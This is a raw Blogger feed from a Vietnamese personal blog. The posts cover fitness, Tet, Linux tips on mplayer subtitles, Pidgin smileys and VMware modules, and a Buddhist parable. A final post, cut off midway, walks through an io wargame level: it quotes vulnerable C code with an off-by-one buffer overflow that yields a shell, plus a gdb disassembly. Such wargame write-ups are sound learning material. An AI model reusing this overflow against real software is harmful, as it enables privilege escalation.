url='http://4.bp.blogspot.com/_mMaWcZ9ESZI/S46LSoV1V9I/AAAAAAAABpk/9Yv7rUb-Hrg/s72-c/stickreadingissexysm.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-7462377089364327359</id><published>2010-02-28T21:25:00.008+07:00</published><updated>2010-07-01T23:03:24.907+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>Thể dục</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_mMaWcZ9ESZI/TCy8OOna3xI/AAAAAAAABrc/KOtcDnEq26A/s1600/sport-shoes-coloring-page.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="235" src="http://1.bp.blogspot.com/_mMaWcZ9ESZI/TCy8OOna3xI/AAAAAAAABrc/KOtcDnEq26A/s400/sport-shoes-coloring-page.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Tập thể dục là một thói quen tốt mà mình đã quên trong gần 3 năm qua :) . Nhưng không phải vì thế mà bây giờ mình ko chịu tập .&lt;br /&gt;&lt;br /&gt;Từ hôm qua, chiều chiều cỡ 5h30 là cả nhà lại ra công viên Tao Đàn để chạy bộ, xà đơn, xà kép,... :D . Dự định mình sẽ đi bơi nữa, chiều thứ 3 hoặc thứ 7, 4h :x . Bạn nào thích thì cứ giờ trên tập chung nhé :D .&lt;br /&gt;&lt;br /&gt;Hi vọng là mình sẽ có sức khỏe tốt để tiếp tục chiến đấu :)) .&lt;br /&gt;&lt;br /&gt;cb&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-7462377089364327359?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/7462377089364327359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/02/duc.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/7462377089364327359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/7462377089364327359'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/02/duc.html' title='Thể dục'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mMaWcZ9ESZI/TCy8OOna3xI/AAAAAAAABrc/KOtcDnEq26A/s72-c/sport-shoes-coloring-page.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3165321102434728267</id><published>2010-01-23T08:48:00.004+07:00</published><updated>2010-03-18T12:21:45.505+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>Về Tết .</title><content type='html'>Viết vội vã rồi lên xe về quê :D . Dự đoán là sẽ có nhiều cuộc chiến trong thời gian tới đây 8-} .&lt;br /&gt;&lt;br /&gt;Nghe tí nhạc ấm lòng :&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/jSnaak-SNKU&amp;hl=en_US&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/jSnaak-SNKU&amp;hl=en_US&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3165321102434728267?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3165321102434728267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/01/ve-tet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3165321102434728267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3165321102434728267'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/01/ve-tet.html' title='Về Tết .'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-1769974437550548670</id><published>2010-01-09T17:18:00.005+07:00</published><updated>2010-04-23T01:47:33.579+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Vietnamese subtitle with mplayer</title><content type='html'>In the most case, when you watch video in mplayer with vietnamese subtitle,you'll meet this error :&lt;br /&gt;&lt;blockquote&gt;SUB: Could not determine file format&lt;/blockquote&gt;Let's type this command :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;file subfile&lt;br /&gt;&lt;/pre&gt;0oH, it show :&lt;br /&gt;&lt;blockquote&gt;spread.srt: Little-endian &lt;span style="font-weight: bold;"&gt;UTF-16&lt;/span&gt; Unicode English text, with CRLF, CR line terminators&lt;/blockquote&gt;&lt;br /&gt;Reason of this problem is subtitle file in UTF-16 , mplayer only play with UTF-8. Okie, we'll use the tool iconv , power tool to convert sub file to UTF-8&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;iconv -f UTF-16 -t UTF-8 fileneedconvert &gt; filenew&lt;br /&gt;&lt;/pre&gt;Now, play your video with command :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;mplayer -utf8 -sub subfile videofile&lt;br /&gt;&lt;/pre&gt;If sub don't show correct font, use option -font "path/to/font" .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-1769974437550548670?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/1769974437550548670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/01/vietnamese-subtitle-with-mplayer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/1769974437550548670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/1769974437550548670'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/01/vietnamese-subtitle-with-mplayer.html' title='Vietnamese subtitle with mplayer'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-5362893025331160234</id><published>2010-01-08T18:11:00.005+07:00</published><updated>2010-01-08T18:31:04.848+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social'/><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>Cuộc đối thoại giữa người và Phật về tình yêu</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/lienminhphatphap/SDAcRBoTcWI/AAAAAAAAAKI/mn2PGK1gSJY/s800/buddha-cloud1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 389px; height: 291px;" src="http://lh4.ggpht.com/lienminhphatphap/SDAcRBoTcWI/AAAAAAAAAKI/mn2PGK1gSJY/s800/buddha-cloud1.jpg" alt="" border="0" /&gt;&lt;/a&gt;Ðêm khuya, trong một ngôi đền, một Người một Phật, Phật ngồi người đứng...&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Thưa Ðức Phật thánh minh, con là một người đã có vợ, con hiện đang yêu say đắm 1 người đàn bà khác, con thật không biết nên làm thế nào.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt; &lt;/span&gt;Con có thể xác định người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng duy nhất trong cuộc đời con không?&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Thưa vâng.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Con ly hôn, sau đó lấy cô ấy.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Nhưng vợ con hiện nay dịu dàng , lương thiện, thảo hiền. Con bỏ cô ấy liệu có phần tàn nhẫn không, có mất đạo đức không, thưa Ðức Phật?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Trong hôn nhân không có tình yêu mới là tàn nhẫn và mất đạo đức.Con hiện giờ đã yêu người khác, không yêu vợ nữa.Con làm như thế là đúng.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Nhưng vợ con rất yêu con, quả thật yêu con lắm ,thưa Ðức Phật.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Vậy thì vợ con hạnh phúc.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Sau khi con chia tay vợ lấy người khác,vợ con sẽ rất đau khổ, tại sao lại hạnh phúc, thưa Ðức Phật?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Trong hôn nhân, vợ con vẫn có tình yêu đối với con, còn con đã mất đi tình yêu đối với vợ con. Bởi vì con đã yêu người khác, chính vì có hạnh phúc, mất đi mới đau khổ, cho nên người đau khổ là con.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Nhưng con cắt đứt vợ, sau đó cưới nguời khác, vậy là cô ấy đã mất con, cô ấy mới là người đau khổ.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Con nhầm rồi, con chỉ là người vợ con yêu thật sự trong hôn nhân.Khi một người như con không tồn tại, thì tình yêu thực sự của vợ con sẽ tiếp nối sang một người khác, bởi vì tình yêu thực sự của vợ con trong hôn nhân xưa nay chưa từng mất, cho nên vợ con mới hạnh phúc, con mới là người đau khổ.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Vợ con đã từng nói, kiếp này chỉ yêu một mình con, cô ấy sẽ không yêu ai khác.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Con cũng đã từng nói thế phải không?&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Con...con...con...&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Bây giờ con nhìn 3 ngọn nến trong lư hương trước mặt, xem ngọn nào sáng nhất?&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://files.myopera.com/XCent/Picture/Other/nen1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 302px; height: 263px;" src="http://files.myopera.com/XCent/Picture/Other/nen1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Quả thật con không biết, hình như đều sáng như nhau.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Ba ngọn nến ví như ba người đàn bà, một ngọn trong đó là người đàn bà hiện giờ con đang yêu. Ðông đảo chúng sinh, đàn bà đâu chỉ là mười triệu trăm triệu...Ngay đến một trong ba ngọn nến, ngọn nào sáng nhất con cũng không biết, cũng không tìm được người con hiện đang yêu, thì làm sao con xác định được người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng và duy nhất trong cuộc đời con?&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Con...con...con...&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Bây giờ con cầm một cây nến đặt ở trước mắt, để tâm nhìn xem ngọn nào sáng nhất?&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://files.myopera.com/XCent/Picture/Other/nen2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 308px; height: 231px;" src="http://files.myopera.com/XCent/Picture/Other/nen2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Ðương nhiên ngọn trước mắt này sáng nhất.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Bây giờ con đặt nó về chỗ cũ, lại xem xem ngọn nào sáng nhất.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Quả thật con vẫn không nhìn ra ngọn nến nào sáng nhất.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Thật ra cây nến con vừa cầm giống như người đàn bà cuối cùng con đang yêu hiện nay, tình yêu nảy sinh từ trái tim, khi con cảm thấy yêu nó, để tâm ngắm nghía, con sẽ thấy nó sáng nhất, khi con để nó về chỗ cũ, con lại không tìm được một chút cảm giác sáng nhất. Thứ gọi là tình yêu cuối cùng và duy nhất của con chỉ là hoa trong gương trăng dưới nước, suy cho cùng chỉ là con số không, một cuộc tình trống rỗng.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://files.myopera.com/XCent/Picture/Other/nen3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 346px; height: 259px;" src="http://files.myopera.com/XCent/Picture/Other/nen3.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Ồ, con hiểu rồi, không phải Ðức Phật bảo con phải ly hôn với vợ, Ðức Phật đang niệm chú làm cho con ngộ đạo.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; Nhìn thấu sẽ không nói trắng ra, con đi đi!&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Người :&lt;/span&gt; Bây giờ con đã biết thật sự con yêu ai, người đó chính là vợ con hiện nay , thưa Ðức Phật.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Phật :&lt;/span&gt;&lt;/span&gt; A di đà phật...&lt;br /&gt;&lt;br /&gt;p/s: leech&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-5362893025331160234?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/5362893025331160234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/01/cuoc-oi-thoai-giua-nguoi-va-phat-ve.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5362893025331160234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/5362893025331160234'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/01/cuoc-oi-thoai-giua-nguoi-va-phat-ve.html' title='Cuộc đối thoại giữa người và Phật về tình yêu'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/lienminhphatphap/SDAcRBoTcWI/AAAAAAAAAKI/mn2PGK1gSJY/s72-c/buddha-cloud1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-8916349653118962941</id><published>2010-01-01T18:02:00.006+07:00</published><updated>2010-01-09T15:30:47.774+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pidgin'/><title type='text'>Add yahoo smiley to Pidgin</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_mMaWcZ9ESZI/Sz3ZCwK6e-I/AAAAAAAABo4/OgU0eGcwI10/s1600-h/Screenshot-daonho1990.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 389px;" src="http://1.bp.blogspot.com/_mMaWcZ9ESZI/Sz3ZCwK6e-I/AAAAAAAABo4/OgU0eGcwI10/s400/Screenshot-daonho1990.png" alt="" id="BLOGGER_PHOTO_ID_5421728167737588706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The set of yahoo smiley is very cool smiley, but in pidgin, if you want to use that, you must add it by hand. To do this, follow many steps below :&lt;br /&gt;&lt;br /&gt;1. Down the yahoo smiley, fllow this &lt;a href="http://12a1nhc.com/Crazy_boy/crazyboy/Original.tar.gz"&gt;link&lt;/a&gt;&lt;a href="http://12a1nhc.com/Crazy_boy/crazyboy/Original.tar.gz"&gt;.&lt;/a&gt;&lt;br /&gt;2. Extract it into ~/.purple/smileys/&lt;br /&gt;3. Go to pidgin, tools, preference, smiley themes . Chose Original.&lt;br /&gt;4. Relogin pidgin, get cool smileys .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-8916349653118962941?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/8916349653118962941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/01/add-yahoo-smiley-to-pidgin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8916349653118962941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/8916349653118962941'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/01/add-yahoo-smiley-to-pidgin.html' title='Add yahoo smiley to Pidgin'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mMaWcZ9ESZI/Sz3ZCwK6e-I/AAAAAAAABo4/OgU0eGcwI10/s72-c/Screenshot-daonho1990.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-2522144754909865002</id><published>2009-12-19T19:32:00.004+07:00</published><updated>2009-12-19T19:49:40.003+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>start vmware kernel funtion during boot time</title><content type='html'>Hahaha, giời mới co net lại, làm tip này mở màng ha. &lt;br /&gt;&lt;br /&gt;Đang chạy thèn gentoo, bực chỗ là mỗi lẫn chạy vmware (workstation) là phải add mấy cái funtion của nó vào kernel để chạy. Vài cái tiêu biểu như là vmnet, vmci... Mệt nhỉ. Vậy giờ add nó vào runlevels default để nó tự chạy lúc khởi động ha.&lt;br /&gt;Chuyển qua root.&lt;br /&gt;&lt;br /&gt;crazyboy@h4x0r / $ su&lt;br /&gt;Password: &lt;br /&gt;h4x0r / #&lt;br /&gt;&lt;br /&gt;vào /etc/init.d/ , &lt;br /&gt;&lt;br /&gt;h4x0r / # cd /etc/init.d/&lt;br /&gt;&lt;br /&gt;tải file &lt;a href="http://12a1nhc.com/Crazy_boy/crazyboy/vmware"&gt;này&lt;/a&gt; về .&lt;br /&gt;&lt;br /&gt;h4x0r / # wget http://12a1nhc.com/Crazy_boy/crazyboy/vmware&lt;br /&gt;&lt;br /&gt;tạo một file bash script có tên vmware trong để chạy mấy cái lệnh cần thiết :&lt;br /&gt;h4x0r init.d # vi /root/vmware&lt;br /&gt;&lt;br /&gt;nd;&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;modprobe vmnet&lt;br /&gt;modprobe vmci&lt;br /&gt;modprobe vmmon&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;chạy lệnh sau &lt;br /&gt;&lt;br /&gt;h4x0r init.d # rc-update add vmware default&lt;br /&gt;&lt;br /&gt;Reboot và xem kết quả nào :D .&lt;br /&gt;&lt;br /&gt;!crazyboy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-2522144754909865002?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/2522144754909865002/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/12/start-vmware-kernel-funtion-during-boot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2522144754909865002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2522144754909865002'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/12/start-vmware-kernel-funtion-during-boot.html' title='start vmware kernel funtion during boot time'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-2853216886474894323</id><published>2009-11-18T19:53:00.037+07:00</published><updated>2010-04-23T02:04:32.682+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='wargame'/><category scheme='http://www.blogger.com/atom/ns#' term='bufferoverflow'/><title type='text'>fucked lvl10@io !</title><content type='html'>Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;&lt;br /&gt;// Contributed by Torch&lt;br /&gt;&lt;br /&gt;int limit, c;&lt;br /&gt;int getebp() { __asm__("movl %ebp, %eax"); }&lt;br /&gt;&lt;br /&gt;void f(char *s)&lt;br /&gt;{&lt;br /&gt;int *i;&lt;br /&gt;char buf[256];&lt;br /&gt;&lt;br /&gt;i = (int *)getebp();&lt;br /&gt;limit = *i - (int)buf + 1;&lt;br /&gt;printf("limit = %d\n",limit);&lt;br /&gt;for (c = 0; c &lt; limit &amp;&amp; s[c] != '\0'; c++)buf[c] = s[c];}int main(int argc, char **argv){int cookie = 1000;if (argc != 2) exit(1);f(argv[1]);if ( cookie == 0xdefaced ) {setresuid(geteuid(), geteuid(), geteuid());execlp("/bin/sh", "/bin/sh", "-i", NULL);}return 0;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ta chú ý 2 dòng này:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;i = (int *)getebp();&lt;br /&gt;limit = *i - (int)buf + 1;&lt;br /&gt;&lt;/pre&gt;Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .&lt;br /&gt;&lt;br /&gt;level10@io:/levels$ gdb level10&lt;br /&gt;...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x08048472 &lt;main+0&gt;:    lea    0x4(%esp),%ecx&lt;br /&gt;0x08048476 &lt;main+4&gt;:    and    $0xfffffff0,%esp&lt;br /&gt;0x08048479 &lt;main+7&gt;:    pushl  -0x4(%ecx)&lt;br /&gt;0x0804847c &lt;main+10&gt;:    push   %ebp&lt;br /&gt;0x0804847d &lt;main+11&gt;:    mov    %esp,%ebp&lt;br /&gt;0x0804847f &lt;main+13&gt;:    push   %esi&lt;br /&gt;0x08048480 &lt;main+14&gt;:    push   %ebx&lt;br /&gt;0x08048481 &lt;main+15&gt;:    push   %ecx&lt;br /&gt;0x08048482 &lt;main+16&gt;:    sub    $0x2c,%esp&lt;br /&gt;0x08048485 &lt;main+19&gt;:    mov    %ecx,-0x20(%ebp)&lt;br /&gt;0x08048488 &lt;main+22&gt;:    movl   $0x3e8,-0x10(%ebp)&lt;br /&gt;0x0804848f &lt;main+29&gt;:    mov    -0x20(%ebp),%eax&lt;br /&gt;0x08048492 &lt;main+32&gt;:    cmpl   $0x2,(%eax)&lt;br /&gt;0x08048495 &lt;main+35&gt;:    je     0x80484a3 &lt;main+49&gt;&lt;br /&gt;0x08048497 &lt;main+37&gt;:    movl   $0x1,(%esp)&lt;br /&gt;0x0804849e &lt;main+44&gt;:    call   0x8048320 &lt;exit@plt&gt;&lt;br /&gt;0x080484a3 &lt;main+49&gt;:    mov    -0x20(%ebp),%edx&lt;br /&gt;0x080484a6 &lt;main+52&gt;:    mov    0x4(%edx),%eax&lt;br /&gt;0x080484a9 &lt;main+55&gt;:    add    $0x4,%eax&lt;br /&gt;0x080484ac &lt;main+58&gt;:    mov    (%eax),%eax&lt;br /&gt;0x080484ae &lt;main+60&gt;:    mov    %eax,(%esp)&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0x080484b1 &lt;main+63&gt;:    call   0x80483fb &lt;f&gt;&lt;/f&gt;&lt;/main+63&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080484b6 &lt;main+68&gt;:    cmpl   $0xdefaced,-0x10(%ebp)&lt;/main+68&gt;&lt;/span&gt;  // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)&lt;br /&gt;0x080484bd &lt;main+75&gt;:    jne    0x8048506 &lt;main+148&gt;&lt;br /&gt;0x080484bf &lt;main+77&gt;:    call   0x8048330 &lt;geteuid@plt&gt;&lt;br /&gt;0x080484c4 &lt;main+82&gt;:    mov    %eax,%ebx&lt;br /&gt;0x080484c6 &lt;main+84&gt;:    call   0x8048330 &lt;geteuid@plt&gt;&lt;br /&gt;0x080484cb &lt;main+89&gt;:    mov    %eax,%esi&lt;br /&gt;0x080484cd &lt;main+91&gt;:    call   0x8048330 &lt;geteuid@plt&gt;&lt;br /&gt;0x080484d2 &lt;main+96&gt;:    mov    %ebx,0x8(%esp)&lt;br /&gt;...&lt;br 